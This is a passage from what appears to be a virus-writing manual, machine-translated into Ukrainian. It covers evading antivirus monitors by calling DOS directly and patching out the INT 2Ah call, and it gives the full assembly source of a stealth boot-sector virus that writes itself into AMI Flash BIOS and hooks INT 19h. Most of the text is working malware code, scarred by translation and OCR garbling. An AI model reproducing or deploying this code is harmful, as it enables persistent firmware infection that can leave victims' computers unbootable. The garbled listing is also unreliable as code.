ється в обробнику INT 2Ah.
Конструювання неотслежіваемого звернення до DOS
Для чого потрібне таке конструювання? Невже антивірусні моні-
тори настільки пильні, що припиняють будь-які спроби відкрити для
модифікації ЕХЕ-або СОМ-файл? Так, це дійсно так. Авто-
ри антивірусних моніторів мають досить ефективними середовищ-
ствами, щоб запобігти прямим звернення до DOS з боку ви-
русів.
Звернемося до думки Ю. Косівцова: "Для виявлення дії нере-
зідентних вірусів необхідно контролювати виклик функцій DOS
з номерами: 3Dh (відкриття файлу через описувач), OFh (відкриття
файлу через FCB і 5Dh) і підфункцію OOh (непрямий виклик DOS).
Якщо при відкритті файлу виявлено, що розширення його СОМ, ЕХЕ
або SYS, то можна видавати попередження ".
Список виглядає занадто коротким. Дійсно, а що станеться,
якщо спочатку перейменувати програмний файл? І чому не врахована
функція 6Ch (розширене відкриття файлу)? А що буде, якщо від-
крити файл для читання, а потім змінити режим доступу прямим обра-
ння, до SFT?
Звичайно ж, автори антивірусних моніторів не настільки наївні. Просто
вони ніколи не розкривають свої професійні секрети. Наприклад,
автори програми AVPTSR реально врахували і використовували всі ці мето-
дикі й тонкощі.
Отже, припустимо, що гіпотетичний антивірусний супермонітор:
- Відстежує і блокує спроби трасування 21-го переривання;
- Для контролю "небезпечних" функцій DOS вбудовується в початок обра-
робника переривання INT 21h;
- Для запобігання прямого звернення до DOS використовує прапор,
скидається або під вставленому фрагменті, або в обробнику
переривання 2Ah (більш грамотний підхід).
Ці дії монітора породжують відповідні проблеми при
конструюванні неотслежіваемого звернення до DOS.
Перша проблема досить просто вирішується з використанням "мето-
та зумовлених адрес ".
Для вирішення другої проблеми варто проаналізувати можливий
розташування в обробнику DOS точки переходу на антивірусний
монітор. Очевидно, це може бути точка 0 або точка 1. У самому
гіршому випадку можна допустити, що врізка відбувається безпосереднім-
ного після команди перевірки на максимальне значення номера
функції. Далі обробник DOS "розтікається" на численні
струмочки, тому відстежити їх все вкрай важко. За край-
ній мірі, обробники функцій OFh, 3Dh і 5Fh потрапляють в різні
струмочки. Однак, при використанні обмеженого набору функцій
вони можуть розміститися і в одному потічку, що набагато спростить ре-
шення даного завдання. Функції 3Ch-43h, що відповідають за створення, від-
криті, закриття, читання, запис, атрибути і переміщення, дія-
тельно розташовуються в одному загальному струмочку. Це дозволяє
використовувати адреса точки 2 для прямого звернення до DOS. Моніторин-
ри, швидше за все, не будуть відслідковувати цю точку.
Рішення третьої проблеми також не викличе особливих труднощів.
Один з варіантів - замаскувати переривання таймера і змінити
вектор 8-го переривання перед прямим зверненням до DOS. Замість через
менения вектора можна спробувати вставити інструкції IRET в нача-
ло поточного (антивірусного) обробника. При використанні все того
ж методу "визначених адрес" і, знаючи позицію інструкції
INT 2Ah в обробнику DOS, перед прямим зверненням до DOS сліду-
ет просто замінити цей виклик двома командами NOP.
Приклад реалізації
Розглянемо дві підпрограми, які використовуються для прямого про-
водження до DOS.
5 "
Підпрограма SetAdr призначена для визначення адреси обработ-
чика DOS методом зумовлених адрес. Для версій DOS, "пра-
Вільний "адреса яких невідомий, використовується функція DOS 35h
(Отримати вектор переривання).
Підпрограма CallDOS дозволяє звертатися до DOS безпосередньо. У код
включена перевірка на номер функції. Для "безпечних" функцій
передбачений звичайний дзвінок DOS за допомогою інструкції INT 21h.
Процедура встановлення адреси (один з найкоротших,
; Хоча і підозрілих варіантів реалізації)
SetAdr ргос near
[Встановлюємо покажчик на таблицю в регістрі SI
mov si, offset Table
; Читаємо чергове значення сегмента і зміщення з таблиці
Next:
mov es, [si]
mov bx, [si +2]
; Перевіряємо контрольний код у слові, адреса якого отримано
; З таблиці. Якщо результат негативний, переходимо
; До наступного елементу таблиці
cmp es: [bx], 2ACDh
jnz Skip
. Зберігаємо адреса точки 2А
mov Ofs2A, bx
mov Seg2A, es
; Зберігаємо адресу точки 2 з таблиці
mov ax, [si +4]
mov Seg21, ax
mov ax, [si +6]
mov Ofs21, ax
ret
Skip:
; Переходимо до наступного елементу таблиці
add si, 8
[Перевіряємо, не закінчилася таблиця. Якщо таблиця закінчилася,
; Читаємо адресу поточного обробника переривання
cmp [si], Про
jnz Next
; Читаємо адреси поточного обробника переривання INT 21 h - метод
; "Визначених адрес" не спрацював, точка входу не знайдено
mov ax, 3521h
int 21 h
mov Ofs21, bx
mov Seg21, es
ret
; Таблиця позицій 2А і 2.
Table dw OFF03h, 5333h, OFF03h, 420Ah
dw OFDC8h, 41D1h, OFDC8h, 411Bh
dw 0
SetAdr endp
Процедура прямого звернення до DOS
CallDOS proc near
; Якщо функція безпечна, викликаємо переривання звичайним способом
cmp ah, 3Bh
jb Trivial
cmp ah, 42h
ja Trivial
; 3аменяем виклик переривання 2Ah на дві команди MOP (9090h)
; В обробнику DOS, попередньо
; Зберігши початкові значення коду
push es
push ax
push bx
mov es, cs: Ofs2A
mov bx, cs: Seg2A
mov ax, es: [bx]
mov cs: Save, ax
mov es: [bx], 9090h
pop bx
pop ax
pop es
; Викликаємо безпосередньо переривання DOS
pushf
call cs: dword ptr Ofs21
; Відновлюємо виклик 2Ah
push es
push ax
push bx
mov es, cs: Ofs2A
mov bx, cs: Seg2A
mov ax, cs: Save
mov es: [bx], ax
pop bx
pop ax
pop es
ret
-. Звичайне звернення до DOS (використовується для безпечних функцій)
Trivial:
int 21 h
ret
; B цьому місці зберігаємо значення для коду виклику INT 2Ah
Save dw?
; 0бработчік переривання DOS
Ofs21 dw?
Seg21 dw?
; Адреса виклику INT 2Ah з обробника DOS
Ofs2A dw?
Seg2A dw?
CallDOS endp
Flash BIOS
Нове місце для вірусів
Flash-пам'ять - енергонезалежна пам'ять, яка забезпечує робо-
тоспроможність EPROM з вбудованою електричною схемою стирання і
перепрограмування. Незалежна пам'ять відрізняється від RAM
тим, що вона не обнуляється при відсутності напруги.
Flash BIOS - Flash-пам'ять, яка використовується для збереження коду
BIOS. Вона може бути перепрограмовано - це передбачено для
простого оновлення BIOS. Такі мікросхеми застосовуються в 90%
портативних комп'ютерів, в більшості комп'ютерів 486DX2,
486DX4, Pentium.
Як відомо, BIOS одержує управління при запуску комп'ютера. Всі
що потрібно зробити вірмейкеру - це непомітно модифіковані BIOS,
щоб вірус стартував перед завантаженням системи комп'ютера.
AMI Flash вірус
Алгоритм роботи вірусу:
1. Перевірити комп'ютер на наявність Flash BIOS;
2. Перевірити Flash BIOS на зараженість (здійснити вихід, якщо
вона заражена);
3. Вважати вектор INT 19h з таблиці (переривання завантаження);
4. Прочитати перші 5 байт від точки входу INT 19h;
5. Перевірити BIOS на наявність вільного місця для розміщення ви-
руса (пошук області нулів);
6. Встановити пам'ять Flash BIOS в режим запису (зазвичай вона знахо-
диться в режимі "Readonly");
7. Записати вірус у знайдену область нулів;
8. Записати перехід на вірус в точку входу INT 19h;
9. Відновити режим "Readonly" для пам'яті Flash BIOS.
Єдине призначення INT 19h - бути викликаним у процесі
завантаження, щоб завантажити boot-сектор в пам'ять і передати йому управ-
ня. Переривання саме те, яке і потрібно змінити.
Потрібно мати на увазі, що одночасно читати з пам'яті Flash BIOS і
записувати в неї не можна. Тому під час роботи вірусу не можна вико-
використовувати тимчасові змінні в цій пам'яті. Більш доцільним
є створення вірусу для звичайного boot-сектора. Цей вірус сліду-
ет помістити в кінець пам'яті і звідти встановлювати вектор INT 13h.
AMI BIOS володіє своїми специфічними особливостями при розмі-
щенні в мікросхемах Flash-пам'яті, які базуються на використання
нии функції EOh переривання INT 16h. Найцікавіше полягає
в тому, що одного разу внесений у цю пам'ять вірус може заборонити по-
повторне використовувати зазначену функцію. Це заборонить антивірусним
програмами скористатися нею в процесі видалення вірусу з BIOS
комп'ютера. Виходячи з цього, авторам антивірусних програм прийде-
ся трасувати INT 16h, щоб отримати оригінальний вектор.
Оригінальний текст вірусу, що заражає Flash BIOS.
; Вірус, що заражає Flash BIOS.
; Якщо на комп'ютері є Flash BIOS, є шанс, що його можуть
. Серйозно зіпсувати. Якщо BIOS зміниться, це може призвести
; До неприємностей. Не можна буде завантажитися навіть з "чистою"
; Дискети. Заражений чіп у робочий стан не повернути.
ОГД Про
; При вході в boot-сектор 01 = завантажувальний диск
mov si, 7COOh
[Встановимо OOOOh в регістрах DS і ES
хог ах, ах
mov es.ax
mov ds.ax
. Встановимо значення стека OOOOh: 7COOh
cli
mov ss.ax
mov sp.si
sti
; Зменшимо на 1Кбайт пам'ять (0040h: 0013h)
dec word ptr [0413h]
; Отримаємо розмір пам'яті (при поверненні в АХ)
int 12h
; Так як розмір пам'яті вказаний в кілобайтах (1024 байт), а потрібно
; В параграфах (16 байт), помножимо його на 64, що еквівалентно
; Зрушення на 6 розрядів вліво
mov cl, 6
shi ax.cl
. Встановимо новий сегмент вірусу (вершина пам'яті)
mov es, ax
. Перенесемо вірусний сектор у вершину пам'яті
xor di, di
mov cx, 200h
eld
rep movsb
; Збережемо вектор переривання INT 13h. Оскільки цей вірус
[Завантажився до завантаження DOS, то переривання INT 21 h ще не
працює - працюємо з вектором переривання прямо в таблиці
mov ax.word ptr [13h * 4]
mov word ptr es: [off set i13], ax
mov ax.word ptr [13h * 4 +2]
mov word ptr es: [offset i 13 +2], ax
. Встановимо новий вектор переривання INT 13h
mov word ptr [13h * 4], offset Handler
mov word ptr [13h * 4 +2], es
[Переходимо в точку ES: Restart (в копії вірусу,
[Знаходиться у вершині пам'яті)
already_resident:
push es
mov ax, offset Restart
push ax
retf
; C цього місця програма працює вже у вершині пам'яті
Restart:
[Завантажуємо оригінальний boot-сектор з кінця
; Root directory і передаємо йому управління.
; Скидання дискової підсистеми (перед роботою
; З дисковою підсистемою треба виконати
. Функції ООП переривання INT 13h)
xor ах.ах
call int13h
[Підготуємо регістри для завантаження оригінального boot-сектора
хог ах.ах
mov es, ax; Сегмент для завантаження
mov bx, 7COOh; Зсув для завантаження
mov cx, 0002h Доріжка 0, сектор 2
хог dh.dh; Головка Про
mov ax, 0201h; Функція 2, кількість секторів 1
[Перевіримо диск, з якого вантажимося. 80h і вище - жорсткий диск,
; Інакше - дискета. Копія оригінальному boot-сектора зберігається
; В різних місцях: на жорсткому диску - доріжка 0, головка 0, сектор 2;
; На дискеті - доріжка 0, головка 1, сектор 14
cmp dl, 80h
jae MBR_Loader
; Вантажимося з дискети: змінимо сектор і голівку
mov з1, 14; Сектор 14
mov dh, 1; Головка 1
; 3агрузім оригінальний boot-сектор за адресою OOOOh: 7COOh
MBRJ-oader:
call int13h
. Збережемо в стеку номер диска, з якого вантажимося
push dx
Перевіримо, чи заражений Flash BIOS
cmp byte ptr cs: flash_done, 1
je Flash_resident
; 3аразім Flash BIOS
call flash_BIOS
. Відновимо з стека DX (номер завантажувального диска)
Flash_resident:
pop dx
; 3апускаем оригінальний boot-сектор (JMP FAR OOOOh: 7COOh)
db OEAh
dw 7COOh
dw 0
; Сюди потрапляємо, коли відбувається читання boot-сектора. Приховуємо
[Присутність вірусу методом читання оригінального boot-сектора
Stealth:
Зупинимо значення сектора, де зберігається копія оригінального
iboot-сектора
mov cx, 02h
mov ax, 0201h
[Перевіримо, звідки лічений boot-сектор (дискета або жорсткий диск),
; Оскільки копії зберігаються в різних місцях
cmp dl, 80h
jae hd_stealth
mov cl, 14
mov dh, 1
hd_stealth:
Прочитаємо копію оригінального boot-сектора. Так як
; Номери секторів підмінені, фактично "копія видається
; За оригінал "- приховуємо свою присутність (Stealth).
call int13h
[Виходимо з обробника переривання
jmp pop_exit
; Перевірка наявності резидентного вірусу - відповімо:
; Запит INT 13h (AX = ABBAh), відповідь AX = BMBh
resJest:
xchg ah, al
iret
. Обробник переривання INT 13h
Handler:
. Якщо при виклику в АХ знаходиться ABBAh,
. Значить це перевірка наявності резидентного вірусу
cmp ax.OABBAh
je resJest
[Перехоплюємо тільки функцію 02h (читання сектора): перевіряємо
; Номер функції. Якщо не 2, запускаємо оригінальний обробник
cmp ah, 2
jne jend
[Перевіряємо номера доріжки та сектори, цікавлячись тільки тими
. Секторами, в яких може виявитися вірус -
; Доріжка 0, головка 0, сектор 1
cmp cx, 1
jne jend
[Перевіримо номер голівки. Якщо не 0, то запустимо
[Оригінальний обробник
cmp dh, 0
jne jend
tryJnfect:
; Вважаємо сектор в буфер (для подальшої обробки).
; Для цього викличемо оригінальний INT 13h
call int13h
jc jend
[Збережемо регістри і прапори (обробник не повинен змінити їх)
pushf
push ax
push bx
push ex
push dx
push si
push di
push es
push ds
Перевіряємо, чи заражений даний диск вірусом: читаємо сигнатуру.
; Якщо диск заражений, приховуємо присутність вірусу
cmp word ptr es: [bx + offset marker], "LV"
je stealth
; Якщо диск не заражений, то заражаємо: перевіримо, звідки завантажений
; Boot-ceKTOp (з дискети або з жорсткого диска)
cmp dl, 80h
jb infect_floppy
. Встановимо номера доріжки, головки і сектора для жорсткого
. Диска для збереження оригінального boot-сектора
mov cx, 2
xor dh.dh
jmp write_virus
lnfect_Floppy:
; Встановимо номера доріжки, голівки і сектора для дискети
; Для збереження оригінального boot-сектора
mov сх, 14
mov dh, 1
Write_Virus:
Записуємо оригінальний boot-сектор
mov ax, 0301h
call int-lSh
jc pop_exit
; Встановимо сегментний регістр ES на сегмент з вірусом
push cs
pop es
; Скинемо прапор зараженості Flash BIOS
mov byte ptr cs: flash_done, 0
; 3апішем тіло вірусу в boot-сектор
xor bx, bx
mov ax, 0301h
mov cx, 0001h
xor dh.dh
call int13h
відновимо регістри і прапори (як раз ті їх значення, які
[Свідчить про те, що boot-сектор тільки що вважали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop ex
pop bx
pop ax
popf
[Виходимо з обробника в зухвалу програму
retf 2
; 3апуск оригінальному обробника
J'end:
DD OEAh. Код команди JMP FAR
; 0рігінальний вектор INT13h
i13 DD 0
; Виклик переривання INT 13h
lnt13h proc near
pushf
call dword ptr cs: [i13]
ret
lnt13h endp
Перші два байти слова використовуються як сигнатура
Marker db "VLAD"
; Ця підпрограма заражає Flash BIOS
Flash_BIOS Proc Near
Перевіримо наявність Flash BIOS
mov ax.OEOOOh
int 16h
jc no_flash_bios
cmp al.OFAh
jne no_flash_bios
; Спочатку знайдемо гарне місце для зберігання вірусу.
Лросканіруем пам'ять FOOOh-FFFFh, де зазвичай знаходиться BIOS,
; На наявність області 1Кбайт нулів. Досить навіть 512 байт пам'яті,
; Але виділити потрібно з запасом
lnfect_Flash:
Зупинимо початковий сегмент для пошуку
mov ax.OFOOOh
mov ds.ax
Перевіримо сегмент
New_segment:
Зупинимо стартове зміщення
xor si, si
Зупинимо лічильник знайдених байт
; (Величина вільного місця для вірусу)
xor dx.dx
ok_new_segment:
; Перейдемо до наступного сегменту
inc ax
mov ds, ax
Перевіримо, чи є ще місце для вірусу
cmp ax.OFFFOh
je no_flash_BIOS
; Перевіримо, чи вільно місце (для швидкості перевіряємо словами)
Test-16:
cmp word ptr [si], 0
jne new_segment
; Збільшимо лічильник розміру знайденого вільного місця
• inc dx
Перевіримо, чи достатньо знайденого місця. Порівнюємо з 1Кбайт, але
; Так як пам'ять скануємо словами, порівнюємо з 512 (1Кбайт = 512 слів)
cmp dx, 512
je found_storage
[Збільшимо зсув перевіряється байта
inc si
inc si
; Порівняємо з 16. Переходимо до наступного сегменту
; На початку кожного параграфа
cmp si, 16
je ok_new_segment
jmp test16
; B цю точку потрапляємо, якщо місце знайдено
Found_storage:
Перейдемо до початку зони
sub ax, 40h
mov ds.ax
. Отримаємо вимоги до збереження стану чіпа
mov ax, OE001h
int 16h
; Перевіримо, скільки пам'яті необхідне для збереження стану
; Чіпа. Якщо занадто багато, не будемо зберігати стан
cmp bx, 512
jbe save_chipset
; Встановимо прапор, що показує, що стан не зберігали
mov byte ptr cs: chipset, 1
[Перейдемо до запису
jmp write_enable
; Сюди потрапляємо, якщо Flash BIOS не виявлено:
записувати нікуди - виходимо
No_Flash_BIOS:
ret
[Збережемо стан чіпа
save_chipset:
[Встановимо прапор, що показує, що стан зберегли
mov byte ptr cs: chipset, 0
. Збережемо стан
mov al, 2
push cs
pop es
mov di, offset buffer
int 16h
[Записуємось у Flash BIOS
write_enable:
[Підвищуємо напруга
mov al, 5
int 16h
; Дозволяємо запис у Flash BIOS
mov al, 7
int 16h
. Копіюємо 512 байт вірусу під Flash BIOS
push ds
pop es
xor di.di
mov ex, 512
push cs
pop ds
xor si, si
eld
rep movsb
; 3десь потрібна особлива обережність. lnt19h вказує на BIOS,
; Пізніше воно перехоплюється різними програмами.
. Якщо трасувати його, можна наткнутися на закриту область
; Або на сегмент 70h, але цього не буде при завантаженні. Зрозуміло,
; Що це єдине вдалий час для виконання вірусу.
; Все, що потрібно - "потрапити" в int19h.
; Можна перехопити його в тому місці, де знаходиться
збережена таблиця векторів, але зробимо цікавіше.
. Отримаємо зсув оригінальному обробника int19h
mov bx.es; ВХ = сегмент вірусу
xor ах.ах
mov ds.ax; DS = Ta6nHua векторів
mov di.word ptr [19h * 4]; Зсув INT 19h
mov es.word ptr [19h * 4 +2]; Сегмент INT 19h
; 3апішем JMP FAR за адресою точки входу в INT 19h
mov al.OEAh
stosb
mov ax, offset int19handler
stosw
mov ax.bx
stosw
. Зменшити напругу
mov ax, OE004h
int 16h
; 3ащітім Flash BIOS від запису
mov al, 6
int 16h
; Перевіримо, зберігалося чи стан чіпа, якщо ні - виходимо
cmp byte ptr cs: chipset, 0
jne No_Flash_BIOS
. Відновимо стан чіпа
push cs
pop es
mov al, 3
mov di, offset buffer
int 16h
jmp No_Flash_BIOS
; Прапор незбереження стану чіпа
chipset db 0
; Прапор присутності вірусу під Flash BIOS
flash_done db 0
; Наш обробник INT 19h.
lnt19Handler Proc Near
; Встановимо сегментний регістр ES в нуль
хог ах.ах
mov es.ax
[Перевіримо наявність резидентного вірусу
mov ax.OABBAh
int 13h
; Якщо вірус присутній, то запускаємо оригінальний
[Обробник переривання INT 19h
cmp ax.OBAABh
jne realJnt19h
[Перенесемо вірус з BIOS в boot-буфер
push cs
pop ds
eld
xor si, si
mov di, 7c00h
mov ex, 512
rep movsb
; 3апустім вірус в boot-буфері
mov dl, 80h
jmp goto_Buffer
Real_int19h:
; Зробимо скидання дискової підсистеми
xor ax, ax
int 13h
Лроініціалізіруем значення регістрів для завантаження boot-сектора
mov ex, 1
mov dh, 0
mov ax, 0201h
mov bx, 7COOh
. Перевіримо, звідки вантажимося: якщо DL не нульовий,
; Переходимо до завантаження з жорсткого диска
cmp dl, 0
J'a hd_int19h
; Прочитаємо boot-сектор з дискети. Якщо при читанні відбувається
; Помилка, то читаємо з жорсткого диска
int 13h
jc fix_hd
Зупинимо прапор, що показує присутність вірусу під Flash BIOS
Goto_Buffer:
mov byte ptr es: [7COOh + offset flash_done], 1
; 3апустім boot-сектор, що знаходиться в boot-буфері
db OEAh; Код команди JMP FAR
dw 7c00h
dw 0
Fix_HD:
[Встановимо номер диска для завантаження (диск С)
mov dl, 80h
HD_lnt19h:
Зробимо скидання дискової підсистеми
хог ах, ах
int 13h
. Прочитаємо boot-сектор
mov ax, 0201h
int 13h
jc Boot
jmp Goto_Buffer
; Якщо не вдається завантажити boot-сектор,
. Викликаємо переривання INT 18h
Boot:
int 18h
lnt19Handler EndP
Flash_BIOS EndP
End_Virus:
; Розмір області пам'яті, необхідний для доповнення
; Розміру вірусу до 510 байт
DupSize equ 510-offset End_Virus
Заповнення незайнятої вірусом частині сектора
db DupSize dup (0)
db 55h, 0aah
; Місце для збереження стану чіпа
Buffer: